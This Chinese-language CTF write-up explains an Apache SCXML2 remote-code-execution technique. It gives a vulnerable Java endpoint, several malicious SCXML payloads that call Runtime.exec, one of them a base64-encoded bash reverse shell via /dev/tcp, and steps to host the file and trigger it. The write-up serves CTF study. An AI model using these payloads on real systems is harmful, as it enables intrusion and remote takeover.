Apache SCXML2 RCE漏洞

文章目录


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

复制代码
public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

复制代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

复制代码
<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例

依次执行以下命令

复制代码
sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip

然后我们将写好的xml文件mv到该根目录下

复制代码
mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

复制代码
python3 -m http.server 8000

访问8000端口,成功访问

远程RCE

我们直接在题目处远程RCE,payload如下

复制代码
http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml
相关推荐
大白的编程日记.2 分钟前
【计算机基础理论知识】C++篇(二)
开发语言·c++·学习
Chef_Chen5 分钟前
从0开始学习R语言--Day42--LM检验
学习
C语言小火车8 分钟前
野指针:C/C++内存管理的“幽灵陷阱”与系统化规避策略
c语言·c++·学习·指针
Chef_Chen19 分钟前
从0开始学习R语言--Day40--Kruskal-Wallis检验
开发语言·学习·r语言
ozawacai43 分钟前
markdown学习笔记(个人向) Part.1
笔记·学习
dingzd951 小时前
了解去中心化金融在现代经济中的作用——安全交易新时代
安全·金融·web3·去中心化·facebook·tiktok·instagram
吃货界的硬件攻城狮1 小时前
【显示模块】嵌入式显示与触摸屏技术理论
stm32·单片机·嵌入式硬件·学习
山川绿水1 小时前
Ubuntu22.04更新Openssh至9.9p2无法正常连接,报错解决
服务器·web安全·网络安全
weixin_472339462 小时前
网络安全基石:从弱口令治理到动态防御体系的构建
安全·web安全
rui锐rui2 小时前
大数据学习6:Sqoop数据迁移工具
大数据·学习·sqoop